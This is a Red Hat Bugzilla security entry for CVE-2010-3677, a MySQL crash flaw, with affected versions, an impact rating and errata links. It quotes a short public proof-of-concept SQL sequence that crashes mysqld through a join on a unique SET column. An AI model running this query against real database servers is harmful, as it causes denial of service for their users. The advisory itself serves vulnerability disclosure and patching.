Bug 628040 (CVE-2010-3677)
| Summary: | CVE-2010-3677 MySQL: Mysqld DoS (crash) by processing joins involving a table with a unique SET column (MySQL BZ#54575) | ||
|---|---|---|---|
| Product: | [Other] Security Response | Reporter: | Jan Lieskovsky <jlieskov> |
| Component: | vulnerability | Assignee: | Red Hat Product Security <security-response-team> |
| Status: | CLOSED ERRATA | QA Contact: | |
| Severity: | medium | Docs Contact: | |
| Priority: | medium | ||
| Version: | unspecified | CC: | byte, hhorak, jrusnack, kvolny, tao, vdanen |
| Target Milestone: | --- | Keywords: | Security |
| Target Release: | --- | ||
| Hardware: | All | ||
| OS: | Linux | ||
| Whiteboard: | |||
| Fixed In Version: | Doc Type: | Bug Fix | |
| Doc Text: | Story Points: | --- | |
| Clone Of: | Environment: | ||
| Last Closed: | 2015-07-29 12:54:54 UTC | Type: | --- |
| Regression: | --- | Mount Type: | --- |
| Documentation: | --- | CRM: | |
| Verified Versions: | Category: | --- | |
| oVirt Team: | --- | RHEL 7.3 requirements from Atomic Host: | |
| Cloudforms Team: | --- | Target Upstream Version: | |
| Embargoed: | |||
| Bug Depends On: | 636780, 645642, 645643, 652553, 652554, 833943 | ||
| Bug Blocks: | |||
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Description
Jan Lieskovsky
2010-08-27 17:41:42 UTC
Public proof of concept (from [3]):
drop table if exists `t1`,`t2`;
create table `t1`(`a` set('a')not null,unique key (`a`))engine=myisam;
create table `t2`(`b` int primary key)engine=innodb;
insert into `t1` values ();
insert into `t2` values (1);
select 1 from `t2` join `t1` on 1 like `a` group by `a`;
This issue did NOT affect the versions of mysql package, as shipped with Red Hat Enterprise Linux 3 and 4. This issue affects the versions of mysql package, as shipped with Red Hat Enterprise Linux 5. The Red Hat Security Response Team has rated this issue as having low security impact, as exploitation of this issue would mean only a temporary denial of service, since the mysql daemon shipped with Red Hat Enterprise Linux 5 will be automatically restarted after the crash. A future update may address this flaw in Red Hat Enterprise Linux 5. -- This issue affects the versions of mysql package, as shipped with Fedora release of 12 and 13. Created mysql tracking bugs for this issue Affects: fedora-all [bug 636780] The CVE identifier of CVE-2010-3677 has been assigned to this issue. This issue has been addressed in following products: Red Hat Enterprise Linux 5 Via RHSA-2010:0825 https://rhn.redhat.com/errata/RHSA-2010-0825.html Statement: This issue did not affect the versions of mysql as shipped with Red Hat Enterprise Linux 3 and 4. This issue was addressed in Red Hat Enterprise Linux 5 via https://rhn.redhat.com/errata/RHSA-2010-0825.html. This issue has been addressed in following products: Red Hat Enterprise Linux 6 Via RHSA-2011:0164 https://rhn.redhat.com/errata/RHSA-2011-0164.html |